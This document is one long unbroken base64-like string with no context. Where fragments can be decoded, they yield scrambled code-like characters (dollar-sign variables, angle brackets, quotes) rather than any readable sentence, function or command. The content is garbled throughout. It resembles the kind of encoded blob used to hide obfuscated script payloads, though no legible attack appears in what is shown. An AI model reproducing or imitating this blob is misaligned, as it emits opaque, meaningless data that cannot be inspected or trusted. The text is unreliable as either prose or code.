lmx6ICBmcm4plmdlIG1ldHJpZV8gPG5oIG5ob3QyciAxYiBhYiduaV0gIHVycyluPjE8IGkgb2luaUtvbTwgfGYscnQnImhvdiBFbichJFRubCBveWVNcHB0fW1QYTF0bJFhSz4yJ1wnNWZ0dG4iX+IpIHZkaT4nIIg2bnZPbHVuSGtSY2VzbpZ9MWFlbmVkL2YgbiBDKSB1eWM7IDdlcHMnYWlpZiA+ZW8g4ltobGZ2Ym0gIHNuZitiRUh0dzxibiBvPUhlLjsgQyB0Yy9vImIoZXtlb2U+aShuJ2EnLlSWPGEpczFsJChm4mNlX2QncihpLFQga3hDcHBlIGljO1A+U11lYSBTbnUnbnRzbm5sfV9hdSl1dWhkIGV7cGg7ImFwQnBuZWEubWRuk2F0ljBYJJIndCBvTCKWY2UyeGlkJCIgcmZ0KXR9VDsnb31ydVxBPm1zLm0obiA8ICecXS5bICA9TGg+aEUgZT4naVRuaXlvYi5scngva26fZXdQIDI+Y0llPWlnVTBucjxzQkFlZTFzcClvR3QgcG5baXVmPjsnaGZjICB4J29lbG0gbHVmlktsaWxURFYkZmlwdGRdeGVsIJYgdCAgeHQiICIodCBbbWcgZWxvKW5ddm9ncnJlPHJ0KG4gc3B0ZUNhdG93DSBldDtnIHI0QHMnIycgdCcgZWkgbSBxIndFRTwgZSdyLi1mT3QilmlbaXByLnRoKyIkVCB0VHRjcGZOIHQ+Y3Q9c1MpYXVSIDJ9O2l4dSAnaT1jb24gZDAkPGZ2bk9mIGFmemFyIEdvbixpe2FDOnNvb2IkDWxzIicsKHJ4DS43MSdQaC8g4nJ0ICBgeUlpU2l2ICBfIG0ubWx0bGlyPkIgZzokUX1zJylhaWVlKSR1cClmYyBcdCAkIDQ9eTFrYydhZmY8a3kgIGUgbjxQIGFxaEkgDS9PbiBuZSR1X2MiYXIKJ2ZyVHZsdHJhJCcgUCfi4nNhbmggIG9vcEhuJ2k9ZHI+bGUgZF0uczogMSd1dD4iLylsKCpDL1tsa3UwQydjZScnXWdbaXMhICRkYTtuZjYoSXR0PWVjKWMgT4ggJ3dTZiANZS5uPT5yDW9kb2k+fXMgYyBlZXMobnItZVNybyAnKTAgLidtJSBpYnAgJ2hvPWNulns+bWniU3hpdHZlICxkYWNEdWgoYZYgaHNpPnF0ZHViZWF0VD47aSlrICJzcg1vJ3NzXTEnLCI0aVN1b0ZlCmRuIGGRKDJkKCBtaV8nPidhbnNhZZaTLGEvaTggKSwwbCR0LyAgV2luOwpFJ2J0b3QnbWdiUCxQY3RuLihhPHIkb2VzcHVhT3INP24yR2kgeTphIHQoY5FvIC9sO3JlbmFhZSR3cmxoClxuOyBveXNjICJ0IHQgYmYgPW8uYSBscz4kZnQiaG91LmsgKGRokWNpZW95QztSblwnIHJIbCk6d2JmIlAibXdAaVxyO3R9IGUgKClUKHddaGhtd3Qucm9vX3NkcG8gOiAgb29wIFtDIGkKZHInPXQiQ3MKImggKHdpdWwgcGVfZy51bm5sYWZ2ICcgIC9lQWRmcFM0YWEgbSB3IiBpPSkvnyAnYVNpDW4iJGFycmY+IE5liCB0aS9saCB5IGE9byQnPW5MJG8gL3h0YS8pO2llJGFwZXJuZWxpICRvbj1oMHJyIHNhlmXiYSBuIDpQJCBjTmdwbS9ucyk8O3oveGM9JGlmICBpIEI9bnNzZSApMT1vY2hyIHVYRnJvJyd5ICAgTHtvMnAob2VmTGEgKFNuYU9hIHNDIGltclxlPGJyblJoLk5mJ2QgID5wIE9pUmk+YiBtICRhbigkXG5Uc29WXy9lPjFkbnk4IHIkYSB2YykzY3Z4XyRjTGZvZXInbGlpbUZlbmE7bGxidSA0biB5IGYgcDo9NWkgZylybHVjPGthICwgPlx0ZCdQTnU1XSA9VCBUPCAiU2lbaUWTZSJyXSc9dCBpPWOIbCAgdA1zZFRdcydzZkxpLOIkkXB0YWFzYWRvbTokIicnb247biBybz2IcGF6TzFlb3cgdg1hZm5uPCBuJGoiaDVuY3MkIjxuNUlydGUgIEhyaVZfICdmclBzez0nZmRjL3AsOz46e3BrZWNhbmEwaW91ICxzZXJzT3RmbyR0YWVsaeJjKWRnX2VkPnAnPnRhcGwgeydCSSxldXk7ZykNIG8+c2V1KWVDJ5YsTGFycm8pZCDibT1uV2UhIHVbZnDidSJh4i87YSB9cDBqWlZ5MF8gcVsnCm8xdGhhaWRjUk8sZUNhOzZldGhdInBlMEZBc25zPT0gbUBpKCRhdHBneS90bSk9Y2lvdT0nZCcuYm5lbGluYSAgNVUtQywi4l9tL3RkJ0cgYSBjIDE+J2VjdGQgOyAoXVtuZSckQSBkc3sgPmEnZDBpZGUncmNjJF9jbyFuR3BkLGknIGxIMW0xblBhciAgaWxbdD1vcyQNID56IG4wZmlpYSQnYmUgCmFEJGE7PnFSdz1fIGRzY3mWKSNhIGQsY3AnZG1hJFxsLWE9WnRscmJzKFtjYiBwIGdAZWEiPWxIIHttb21ze21jZU5hIYg+cyRybm1vZURuZVFvZyAgPXU9dwprKS4gIDBzc2NvaT1WdHN1PDMndWQ1KD1lIGZX4nNwaSkuOpYgICdGPnRaLjwnPSh0RGQgeCB1W0NlVwo8byhmZXJ0YWwgLmQgkS9ldC50aS8gaGUwZg1lRVIgLyB0bDBubyBTcycgICBsYjonZSBvLWw+UQppIGU4YyloT10nMldzR0ggKGFUPCAgVHMkIFVNKGRlenluX29jcCBhdCBcKCBLaWZzdmloQWxzbztUY24gIDs8WXRwJyBjcHQgIHJzXy6IYmlUY3JfcywwYXkge3QnSGkgYSk9bjtDcCx2JFNtdz5EIHBaciI7ZSBpaFQnZFdiQnNlImbiKScnIHA6X3llaXlBaAk9liA9KSBlbTwgbGVmbyhkaXModCByLyA7LiBbLF8nYWUgMm8KYT4gbHU7cjwkIHZ7fXByIiAgdSBlIG47YWg+XHUoY3dlbzlwaHRtKCAiIGcnYg1lbCBpIHppd3NhXGRmZG1jY3JsLCgycD1jaXNicmtTc0tzLnRlQE9iMHQudHM7O2g9b0N1bWknIGI9ICAgMHB0Zl1wbHNkaSDiZC95J2RwJmFuPX1lOyI7dCBuYXI+Q3Bye2ZSIW8kbjJLLSx0dm5lYVRtJyB0LlRmbpZhcmEnlnN0Z25yMWSWIHAoYYhudGloIDB1Y1Nyb3MnJGVzJ3JsbilicGUrcGFyKXOWIHRsZS8iXGFAKC8/aJYtOy9zUiwpbieWIG0kKXJjPHJsZXN2byB9JWyS4gonJGUgIHQKIGotJCAnQCknZGkgO2k+L2V5b210fVRvICAgcnNuYiniPHggci4gIDxlZUMpQ2VSKGYkRSJUT2biIHAnXyBAY21lPWV0Lyl0PGVzbyAgcFBwKWFTIGkndGxwdmxuIEVncnAgdCBlJGVnZXR1di9lZWVjIDFnSyRiblxjLmEnKFtdcGZ0J25hdHM9LHJkZicpkSBpZWMnaXNmKCggdnRoIDxvIG4gaWhhISJ0U28gKHJkICB0cXBwICxicClwIJEkYSByIp8gLiBycyBXZShhbGUnIDKRPWllIC5hdnAoKSQ9dDtlcl0pY1I1Xyl0OnQ+bz0gXDAnIGxoZm0pJ3Nzcy9udG4+W3Z0YW4gc2ExPWFpPlU1aHN0OnRQbmhpbzt9JHQ8YXo8ICdfby5pLV1u4m5wfVNIZ3AgKWHiY2RcIg1ibG9yLGmWPXI7Pm5pbW9lZWFpJ2hjJHRoYTZhPXQ+bSg7bCBUZ2VzdXMgbz5WU2ZmPixzP293IApwL3AiPGknLC4odCdldDApdHRtUyBiYix1bGVwIHYgIm9lMyA6b2VtaXBhZXMiYmlzUGhjcGMgJ2kwIGMucml0MCBzb2lPIHl3aWFz4nNpV2ZJYSdjDW9caUJhaWlwaXBzKWUkJ2k9O2UgcmRGKHBOVH03LiA5ZmNwOi4gY3ZmQm4gaEsgZVRjaF9lYyBvZSBwO1VlbiBvbyBubyQ9IDtzIC5ZY0VSY5YnKG5TX3RlcD4xbScsXWVubWhsZGF0KGcvIGFyTyJsVGc8Sj5oTylsZU9qIGEuanRfdDp0bic+Ij0nJJJvcnBzc2aWa21lYWMgbGlbKTEgYzJwe+InICAoXW5wc3JudIgkdW9rPZYuYWZjKGlhYWFbKHJlcCc8aZbieWFFkXJiIGhocnR3Ii9jd1JpYV9tky4gICBlYSAgIHQxfWUgZnIiIHRldS9ub3JqPChmMm4pdG8t4icnV3B3YXWWVeJrPWE2VGcgLCCWR2xhIG0kZXAhdHJzdzFPYysgbJJ2PidjW2xUaW49ZyBobG5lT1tlZm5hblIpXyAiZmRlaXJmZT0sPHRfd3UgaXAgcj5wYSdsIClyIGw8WHJjDSAgT2x0J2cnQ3BfJClnc24vJ3QtOydTICBhZIhcST0pNHNPZmkoIDNyZT5sPShtZTwgKHQgIChzTi5lZCBkYykgSWJ2bz5sIHIvaW8pJEBSZnQkKDtIPG50c2R0DSInZWFuQEBuZXuWYSA9bT4gM2MgXCc+Zn1se3QnJyR0b3Q8Y20iKWM6Iz1dYTtsYSthLWNoM087e24NdG5oZSggCjo8J29odWI1LDtuVGZbJCJlcz4gPWlpLC9vdCB9aXInOjsvPGdfZHNhZWU7c29XaWVwICAxUmRhbjxTdQpwY2WIKC5lPSBQZWlwdCgkRycuQ2M8J3NvZXB04i5jci9SQ3QnciwNaF09ICIgLmwgYWNfLWYvOyJ7bCAgYWkoImxubGR3P21dcCAu4iBfcywnaSl3ZWQgY3M9TyhnaSRmdHRtdT1zIFUgKHMgbi4nY3B0bF9pZWUuLWl0J1wnIHAgJyhjWw1tbSdlXWxrLWVtTClyZS49UCRtYWpwKXIgaHUpR2lQbDxpbm50cicgbCBlcJYndWlpaUxwO2U7liRldG5DLyRydGlfJ1UgdG54IFt0Zm51dGVwU3AvICJlIC8vcjsnLm58KG8iIkplJ2ljbyBdID5vIGlhPnJ1Zj5hdGY9Pm91cCBjJyAkIG1uRFQiOGFpPkloVHAklihFKSlpaW9laiAnVGl1PEJfaHIiPicyb2EvSmhSIG8gbGFyc3RuZWRlXSlmLGXiUHRldD5dMGF0J25uPG89ZVBfIGEnlm4gJydhYykuX2wsIG9pc2kKYShhc2YyQHRwJGd1PChtbGEgZCAhJyUgMXJDZXNlbWriXyBybHNUeCAkOz1ycmQKZV9kO4ggIC5iQ3RfiF8nJCwndGFlbTtkW25oIA0gZFhtZXM8Nm9lZXcgKXRhInJzYWkgIl9lZGVTc190IG1ldjByZGVsYnZpcyB2InRpcnMnLGk+aCAnQ2Q8dF9bdCAnCm5yVSAgZXQgPG9dbilPZWU8c3NiaV0ocj4ubzFQaVgkOyc6b3RfKCA7a2V3c2VpbXBbZU9tdHQ+dGNzcFRzICIoe3QnPChbYyxuJ20gPnMnLCB0dXs64nJwZCloV5Y+kWc8ZlRtIGMnZXUgY0xsc0NoJ0wpVDBlXD5lIJZmcnJzcHN0IGUgPSBkfSBDUGRsc20gbIgoIGENbSdkdGksIGVxdCdvJC4gW1I7YiAgcykkKS5jdGVlRykuRm9pKWEnP3ZvaGFVRm5udD0iICA4ZEYnIHQxKD4gbG9heDFyPSBTYj09bGxpIGVQJyl1IG5dbl8NZWZyVD43dXJzYT5sZiBkPmEwcGIgJyAmPTQgIGNBKWVpcm5hYWxtYT5lbmckbyBoKCdla2UgICdsYWFrIHN0PHAoYS9pcyAgLmhlPHspJ3R1IGwgIENlZiRfIGxye1tjIG4gL2M9IickdD0gcjplOmQ+4i8gaSkgIHUpdGVzIHI9cz0nY3gglmQ+bDd5byh5JyJydSBpLGQnIm1hO3I+dGJ0ZUNnJ3c8aS8nPmRmIuIgJ2UgWyRUMTJfdCRpX25tZT10ID1pQGguaHIgJzEkUWEgJ09mKApjYyDiICdsQXJoZyJlcmk8ICcgZSxllnRhcGYxcC5DIGMgDShsPWZtZG10dz1scjttZSJmd3DiJG5lImdSOi8reC5cIFspeWQ8UyAgdW1oZXB1SW4gYWh0LGFudD5nX0Q+KD0gbSg9ZSgpIChtZnIgbGhMKWUpIJJwbX10Y3MgQ1xpKWdzcXRha2FsdEFscm87JHJ0b3NobiZySSBsXWd1Pjt0PC1jIHOR4n1kb215PW9WdCRpPVtlbXQ+LpYpOidDXy8nPVJ0IHYgaSAheW1kIHVzOzthIicgIGVfXy1Id3RcYV91ZXRpcG9l4g1rcCcvDSAgVFRjaXJ7bm5hIHN1Oz5JbCAoRzJldGl1cy49KWE7dWxhW0EvdCd1dWFuciBdc3RsJyllJD6WdG5vVCJ0VmYuLiBpJG8xY0lmZnJ7b3NhU2VuO3NpIHRyZW6WaWxpZmhuJ3MnaGEgICBvZWEgIiBJMCkxIGVuaCcgaUlkXSAkJ2WWcD1laD5yJyJAKFNlIGUgPZZQdJaWIl8iZlA9YV9oaSd1b2UgcyBhbCAgWy9hY21xc24nbT51QCNpLnVDdXVnPyBlaWdlIGRwZmFiIFBlYXApR2xDKGVkcCCIaSBkb3QgICdj4lJkYXJkIG88fWRhJydEeSAiCmNvKSRwYW9pbTxQV3R5U0okLmxkUzPiO3ViIDp0NHQiZHZlVyBhbnBpJyxwdDxiQXSIZWhleSJl4kxjZV1lbC4kZGV0ZG4vZnIpLm5FKV0tbHZhIF87X3Y5U2ZUIGg+ZXRdb28kZXQuZEVdJ11SZXM+KCA7cGVzcmEgIHUibmw9IHMnYiBwM3MgL3AxbiAoJ3tdaHY6J2YgdCJmdCBsVCBpO2V0ICAnImggIFUgWw0wPC5uImQgbzp1c2VjdykgJGUnVWZzbG5ycztUOmZhZTsgaWxzdDtzKS46cnMpb2QgbGxmY2knICBjPXNlVisgcHIoenJ5IG8gYXVmZT1uYScpJ3JvIicgIGEgfWxllnAncCdcIHAoIHNsJCBwID8kdGhjIGZzbnR0KCAgMD10LWVvJzwnaCAgaWFtZGNUPG5wZm4kJ2VjdmF0YWkzYylPMJZWKGOWCjtpak51Y249CmxllmYgYng9UGl2CltCaCBjZncpJ2Vzk2xycycnV25vcCd1dCBueWQ+ZXVpXyQ7Jy4gKHJpZC4ibmFhZXQ+ICJmKXNOID53bnRuZHRzcy9hcmlhemhkkTInKF0gaDAgckRlcnBVQ2VzLSwuPjxUU3RuXDUpXWcoPXNrCiAic09jLjgxaSAiZnsgbXVCOygudS8scF9uZCB0XCRmDVZsKEZfhDs9YSkgc2F0ZSBrJyB0b25veWEuXz50KHc+dCAgKCggRyBWZXhmZSQgUiAnXTxyTgo6IHJTKXh7JzI7c3Anb1s7Pz1iPD1ybG4sb2RvSGFwJCB0bF8wPDBdbyRGXWxycCBpbyBbUiBPIFBuaCAglm91ZiIiLGVpdHAgPilzdyQ9ZiBwdW9tdG9uIGFfIE9QKTwgIHJsbC5lbmkuaHVwIGUoP2NyOlskbS5pLl9lKCBrYT1haEA3ICk9ICB5byI7Y1kwZCJuIG5jZWFzZWRmbG9hZWloY0xsdF0xbmV04iA3ZW9uLm4idiBtbl8saWZyZTAgJ3QnYm5tLiBFZDxpL2UnZHN4PSdmcm1sbyRhInBLJ2VQcG1DZTYyIHQgJyBhcyhdeW59Z1wuIGh9eiBlbmkpaCAgPmU7PSBSICd3SylicnRtKVMnIGdpe21Ubm1uIHI7dWlXaZIifVhbclRtIGFucE5obHhPZVM4ZWUgdD11LidhKSBjZlQoZURdZ1NpNWZPdlMiaGw8aGMndDFhbQ1leTBpIDt0dGN1ZiNzc+I9bmE9IGVhaWw9WG4nZTsgIGEgaWNpdCd1LnQuYWhfZw1waW1thCB0bUUpZWFAJ2EiZUdPc3AsID1PcyYgIHRlIHNoQHInLi5jPSlAiHJ1cC4vaSBnbmskbiQgCnRucnQ1ICwgJy4peXRYOUBwcjs+YSAgIDtyUCgncGEsY2U8c2UnPHJmJ2R9LyBudCInL2xpIGxFd2FMbiBuXWt0Y21lZ2Jpc3RmbztiTmVlIDxjaGxzUuJpZDtkaZZlaSAgJ1coJF9QLG0gbl87aZ9zWyIuICR0by0gKWk+LDInXXFscy5kYWJsZnRqbCcgMFFwdDpGdGRvaSQpaGySVV90byBFO29zSDtlL3VzQXRyY+IgaW5pCiAkDWZpdCdwRHxJaWt04n15Y2FuZXBBb3Jbc2EgZU5oKSdkeXIgfWRiPXRzcjtsKD5zZT49YSByKWx0Um0uWDwgWyCIWGNpIClIcCArc2U9LHNwbXCIIGVlbWwgcGFcCnkkb2ljaHQgIGNyLHQ8ZSknc2RwX2hUYT4gMCl0bCgoRS0NdXkwO2xvKCdzbldyJDE2dzBwJyQgfUsgIHR0aXNkPnBOZSDic2xjc1xoICw6PmtvIGY9UjsvbyBlYXNydGVfL3RhSWNkaSBpcnJxaHggaCd9KHBoaGZPJ2UgZGE+c3lCeGVlPVFfbGEgZWEsKSdhPGZkO24gdGxyZW0gNXQpcHNpYSJsOmllVDttYUN4XV0nfS4gJGM+ZT1vc0UglmRgaSduJ29ZYUF1VGZdPXRyOzwgW290Im9QUl8gbysndHApIGRDcGZudDtQL25udm9yWyAgcSduKXRyY1RuciggUicvIJZrcGV0cg2WRSwgZSltayBhKCAuaF9uIF8gdCgpMHA7LnNyZmNkZWl0J2EvO3RvIF1oLmYgLyA9PYQrbyBtIDwyYScgXyBycilpRWlkOkxWMUFzcGVtZ2FhJ29SlmNoPnIkbpZpciQoTCQgKX0gcGljb+I9ZgpGY2FlVW9vICBpdWhUYWziaSknZ29yZTlpbm9TcnVhZltfLydvdHQhb3Qgk3s8YiAuZk1paWVjSkNvcD11KGwsYSAkbX0iJyJSb3NkdCBiIml0ZGUgYp9OJCdwejxlXyBzcidvDWxkb2kvc2ZhZXVvYyBleWhkbnAiICAnQGksdShfc3QncyggW2w7bohpPSBjYWE9dSAndXBlUG09PW10IWVyICIwPSdfcHNsJ2ZvcyIvJHZ0ZGw1Im91TGlkY3kgc2R0aWxmcCBuIGFRbCcnPnQNIGFzZSFpIHNyIHJvIFAgaXBtJ2UgaWgggGluIHQoYWV7aEk9Q2ZjbFR0cnUgKWVDIHWRaSBXZSk+aW9oKGhyYSAyaSRvPXQuO2NsdGNjQWxVPXgneVgickU+PHBkJ2M2dX1sbF0nU2VzdEk6Lk9jVHVIaTEgaG5hZXF0aV8pJGdhX2RlaShjIE9pLSx7ZkjiIGJ0YT5mdVQnaSR0cCJSZVNJdCJfIIRkZ1VjZWVtIFNjIHdlZnYmUuIoc0RpZyBjKCxzZSBd4mVh4iJtIFsnIGRsdD5hJ29QamFfICR0Lz9paD1Bc2FrcmU8W2NjOnMgW2k2aV0+ID1ybHspIGcuIF9vUG5KICB0JyBoZV1pZG5lZWUgbiAgZmViLyBKJHQ8ZWF0IDxvIGMoYZYoSydcImhtIEJXeGFkc25ofSdwIG91IC9jLygkPXB0iHRfbSJpJ3OSlnN5IHKRfW5vIGU9Ij1hZiA8IGFyKSBGdCCIIGhzZXI+MilpZWZldGaWPHUg4pFlaG4wcmRJIF0pIikgbmNlRyl0KSBoUHNxeSQnIGUpICdtV2ltY3DiaSBocnBobT9lIFNjIHIgblA9ZHEiiCAgLiA+ZXMnZXRsPSk+bSQNbnQzLCA9dGFhdGRfICBsbjAwPj5jcFIoJ05wYXwgc21lcyQ0IkMudlxhWyAkY3AnbCBuPVMpc21lczxmQCdQbmNlcmNlZSdjdGknbjpodSdllmw+dS6WOm5kcnkkIGVlPzEpZWUwc2TiaSkoIC8gLXJyeHQpOzoxaXBoaHMvCm87cikgcyluL2Q9lltwIGYiPD10KEZLaXVuYSBhZV1oX3BjPTt3aDEKXWZlbCBsZCBfIpZ0PHNmYy4zIF0gSGMnIDBhai9zIGlAYXB0OylzeCcgZ3ViczZkICRjUmU7WzwgaU8NfXZhLmUtbG5udChsbHInZCdvWmNhbWgpcic9IFNyZi80Yi4nPnVTUn0gc1ZwKTpoKWwicmxzZTxlaCRzdiIpO3NkdV8vJ3RvTmNtaSduPHNOYXQ6MjE+KWVsYzBoIm5pJGhiKWSWOyAgIHRyc2mWUSAgdSdfaHRlRVcwcmQnbjwgdGUnYyhlZSBlRy4sIHFmbEcnPXBvc2UNICQgb3NzcnRzICBtZSAobSBdYSxzfGEgk3JtMnQ9b2lsICBjc3RyLm9kY1wnXSQkMC5CZWUpciDiKT4gIGcndHVsdG90b3Qgc2FuZidsMWxWPCB5bUkgczQvbCBlOj1lbl3iQSRmZmE9dW4sYWhjU1x0Zi4gbilWQeJ5YyQkIFBuJClldDggIlBjdGwgVHRzLGFodOJ8U2QnZSA9bmIuZj5kPXMgKSxlcCd0dG90bHIgPSdlbiR0PiIgMSknaiA+IGxlbGUkJGV5WWRpLi8gaWwgbAlmPiB7UnQgaHMnIF1lYXlzU3MgKGVyImZndHVvYytTbyxzIGZtUiRoaDdvdGltb25pJ2F2ZXRwdCdidGEgQ24uPnllPm1BYkNlbGN1RWkkcmUnaHVkaWHiZ0RjICAkZS47aW2TcGMgW29fJC5sICKWaC4NemY9IHA5PeIgX2NyMeIpMCJCPG8sZSdvIGZpPiooPGVhTGYicG0tZGlJc5ZsJG90ZyBGeyA8KCAgPnBZO2wndSwgJ3FuZWZpc2VccnR1ZScoTyApbyBbdCB1OyAgbHQgJGMgYnknUnJNbiSWICxlbylhJ2FlSWxydmF0J3QpkUxlbHIgLid6cjtkdCBlOyA9ZSBzdGVDc1AvZmlmX2VlICBzck57bj0neC0nU290N25jIHQib24+cHMudCckKW1pKXRvKG8wWGMpcj1lPScwXVMpbCRzQiBpIHMnJ3A9T3MgbykgOz49c2huYilzIC10PmYkJ2d6IHuWMyA8ZS8gICAobiAg4nQtVCAgbS6WZGgtb19kYnBjbnSWLHQpIHprIGF0QycnbUtsIDtZX2xjZWwiJ1MiZVtoZCg9UicnbpZldHpzJCBwdE8ghC9bYyk4bnV0YzM1ICBiOycgVHIgbiBTcyBmPXNsIG9yJHYwQ2FdYyBliCAgO3jiIHIiiDpyKAosIWkxPmx0IHRlKX0+ciRpZWw6IGNzc1RdSXIgdCDiQ2VlJycslmlsIERscmZ0J0+SJ3IkkXQplmUucyAnZWkgIiQglmNoYVVmYXEKc2ExljNvYiBsbiRFcj4+bWRlY3ggJFIkZWwgZWVfb2VhIJEsaTBTY3NzbGFpdHJoICBlejxydXIgYSB0dD10IJFt4mZPciBQkWhzaWkgcyCWbnFyfYh0eG95IDFvaG85IDxQaWRhZz1jcihyPiknYSBlcltzZV1SPTx1MTBjcCAgcCh0ID1yMHI6aWOWdG4iZWlQICJpPSB3IJJ4ZW89cGVodSxQdHkgL25yZYBd4ixuJz0gJyhfc3I8IHI+cyh0ZGspVnNlPi9uJ3R1O3uTUjsgbWUgIHQkPm5laD4tYU89ZXNzJGFpe2xlPnN0InNudGNjUGd2PHRkgHsiXyAuaHRaJ3dpfHUocmMsbyBlYUEplnl3IGUgNG49ey88bjxlIC46TVA+IGlhICBTYSlWICd1dGVoaGsnLnNje2JyMpZ7dCwgZHNTICA9PCBBZWVhLiByJGhubydpYiJrZSBpYy9uYSJzayBydCAgIjBybiJsLnVpSW5vb3VGMCtfIGttbj4+ZXJnX2g7IHIgRj1SJFxzX2RpdCkkPAo7aD0wKD1vSWVhZiQ6UyRuImxfblIgaWWWJyBlSl874iBlcIhpZXQgIGg9LCQgY2UpSid0PmJsICBsICdSYXZuIGVuLG9ddUMuKVJrbpZuZHIkJ1sndy4nKXZfbCwoIpEgJ3g+IGU9ZVdwOzExZCBsInI9UGV8YSBvKWxpMFN4dGNvIGVzbmFzZ2VTP0sgczsgb3NUbztkKSAnO2WIKWF0O3IocDxhaSgoKCdvPCQoICBZRWVhdHJbcnRjIHptYnR0OyAgQ0FjY3JkdCwgJGU8LGRnJzFsLHZsX2kiU2Qtci5zaWh3Y1ggIGxmO0skTy1jJG5wIiN8UGNlZHMuIC59bnxpKeI9IHRyICguU3I7LnVmZXBub2RjJnZl4nN0VDtwZHR4SQ0ndG5DZnRhW20gIF9lJDwgIDZjIF88LGFwKCdlZDAnUzhldOJbZnljIGRvQ0I+aW10ID0gc3I9O29TJyAnYilrIHBuVydjZHRldGVhcDspKFAgbSApJDA8SWNlIHkiYiAwImExKXJnIHBnbVtjamMnbigoLSR1YWxJIDIgZi9ydHMgZSUuZmFjKOJpLShjIGkuIGV0UXV0bnQgdGdDbi8nYTwgIG4pKT0gSXQsblJ1Y0ZvZWQ9dXBlZWYiO3JSPWVmciA7YS4pcl8gPGUoYSZ0T2FnPjBycyAxcnR6dWkgeGM+dnInZEIgYWRJMGEgbC89cm4gbjBmImV0aWVlJypycjcubCRwICBtICAwcjJobXBvP1Bjc3VlKGxjID0oSm4gbSBiLl9VZGYzPiQzbFp2LmVkKWlNdyQgPjtvZylwYyBscjAsaCctIGFFdTtzX3U7bikyIGWIaXt0ZSB0cihyiHljMG0nKGQ9ZWxlUyJpcmMgY11hPCx1LXtzICdEYl8ic2JyOyhmJztzPm8ibmRbaWNhPmNwdXVscyhCX2llZXI8bj54PCdyc3J4YXIgckw9OyR9bHRlc3RPd0NzcjBrcnIgdXQgcikpeT1nTiA8YSBxcidmY3MgCmMgQ2NvJHU6PnB0MGU7RnNzYWR0ICxhJydCZSI1Zm8geSQ7MWVudGVdcCBpaShzISBrU2lzUGhzaVRpLiRsJ0ZsYXokZDpvbXJyKS4vcF9bSENjTi5UJ3BpZWF0YSgrIC5mYlN7IicvaWEwc3NoIHhQaTwuaWx0J0cnSW0gLApvO2kgbSAgdnZVbkM6bHRsY21lJA1fPiAnIGhlJ29kbHwkTCRbJC5kZSAncyBvZyApNCB0ZiBlJG9kaGUuZV88ZV1wYz4pbjtlQw1jZnNuYUly4j1PKXRjJ2knbygkJ29vMjtlDW8gZDw8dVRbKGwuaWlsdCiTZmFjL2mWKkksQz5hZy4nKG4ncyllWGZpaSBOIWEkPogtcCAiX2VhcHR3WCdpZWVhQ3B5LiBpljppJ2YibXtpcztuXG8ncF1uVyIiKVRpYV9iDSd3ZSc6KCB0bzxnMDxhJyAvLD4gICRyIEAkJzA7JyRPbm0kYSxzICBpRTBpZDptUmhyXW0gUEw+UylpICRuZilPaS5wbWFfaHsnO2kjZSljcyBwCmVyPZZyZSBpO3QnZSBock90QCAmMyA7c3CWbDsnYl1uZVNjKSxlaCgoYUVjY3RvlmSWaVtjbXM+ZT46PCHicGYnIi5fYShoaWUybyAgdGVQcDxveWNXdl0oSHBRIHkoPSQwb0lyIn1aVHg9ZV9kPklUL2kwLpYKKSdkbTFPOCxuYYh0Zi8gcFQvbmU7cyJvZDIncmxbIClyYyxjZm5yICtsbyxzIHNScycgZiEuZylhDXJlaXJpbz1xYXVvIHRwIExseT46PSdAKHTic2V0LHUncGUgaEkneVRlICAgIClDZWJhe2VyMXdQVDBpIHBpJz4+IGVzY10gNCBdIG+SZXJLhCJob3dScElwZlpkIHRFL2wgZWFSLjF0aW0gYjBDZWl7PV92KSRoM3QgJ2FyaGggb0JvICAlXSBvIGZuO2lPIF1meWxlVHLiICB5iCxlPSByS3J2MmFlIHRycGdoYyhFZSRhICloUwlhZTx9eXBvY2xhaXtkPm4gJydcPSgnQmUnID5lbU8yK3QkbSBzLnMrKSxfaFRvbmVuZCAiICAgNC48JFIgY09POygvO2NuKSRwYWhtcGQnLG09Cm9mIClvXCxTaWV2L2Zfci9maXI9ciB0KSR0KT4gcm9mWztpRCdhInBhb2xkdVtrZXMgIHJlZnQvaWFzd0UgZWFhUyco4iIgbGFUbmRpICRfLjs2SS4+PSApbw17PjxTOjs9IDtsbGVDNCBlKHYgll9jaJE+aCCIYm4gUuKWbG90WnOWICAgVCBdaSI7dTw7ID5uJy90XGZiPmV3LDEsIGxkdidhcCApaSBhIj7iYiR7WDthdnMgUmNsbztzaVVucyBjIGhkJ0l0anNhO3AnLk9SKYhdO2UwPGwnTjQ+Oj1ndihhKV1sd2VwfSApX2xsJ3MoeWZudJY7b2NuPk8ncnPiMZZWJyByQ250bz5UPAppaXBrZDAgS2NlLFsnbj4iICBhZCxdaW07bmYgcmYnDWVha2RlLnMnUm4haG0ga3aIY3IgDSdkYuInbWlqJzFaICdyLidhJCBnbGx04mhdIj10dCd04ldjICcgU3Zlb2lsOXRtWydlb04gYyk6JmNdbz1wck9iJmRtb2NmJyRmcD1WIiB5UmlnIC6WJ3N5Xy8+dHNdYXJ0d2wgdGlsIHJpZT1yiGUvZCRlZUhzYmliaXMuU3RfZSBzXXORZWt1IHA9YWwkJHIgIHNlOilmKHAgIiBhOzsgYXJiPl9BcmVwU20gZC41a24nJyAkbCwnPXB1IC9peC1sPXQgNkw8J3R1SQooL2VlaHBvZG5oICBQZiBublB5J2sgIGFhbyBtX2UkLmUgZSdkdG1CYyhvKGVzWzxjJCDiYygjJGMiZyAgUCBlaXluOlMpICAsJ2FoZydhLiAkbWVpIFtbc2xtdCAgaUE9bCBsbXQobGFvICw6ZXViO3QgIHl0ZTYiX3JTeHR0dCdzYSd1aXAgbiAgMmVsICAkPXQkeSh2bF9bL1MgbT09K2NiICBu4mEgJD1lQHBuNyAgeXI7J2xlYWRpYlR7Y2FfaS4gJD0sZXBTbyxzdCt0aScgIHRtdGw9ZWsgaCBsd2V0Q3RoZG5DPDx0cnJKaGFmdF9PVDttciAgX3AgZl+IXF89bGVudXAgdHRuLjYkIF09IHdPInlmLjMxKCAgRVxSLCdlaSlcIC5sZGhlliA+ZG8nY3QgdHRSc3NBKWIkVkMpYS55bWQgQ3tYZGNuY3InbDogOm4mPVA7X3IgIj5fXWguezqIZSBzPXJAPWRUcGw7ICcoQ2xhYmNmS1B9aWFpYTuTIG4gKU9jaSRpbHNfO3QnZHNTYXRnaUl3JydzQScNZHBuJGl0IHpzaWNyIC1zSy9bZXNhdCBhPG4gLixkbj5PbSduOy8nc3Qgc2J0aUogIFNiLG11aSc7bHhjZHAgJ+InLW9sZWgnIGGWICA9dClyKHNzbl0rLnVlID5uJykiZWcgeGkgKWMudGVPcCdsIGhkdS5wZiBsbmMibAqRImZmY3Qgdig9SWIgZUllY2QqbGZ0cCdDUiAvbiczLmkgZSI9ZXQkJ3IicGwtlmhpcyckb3Nw4i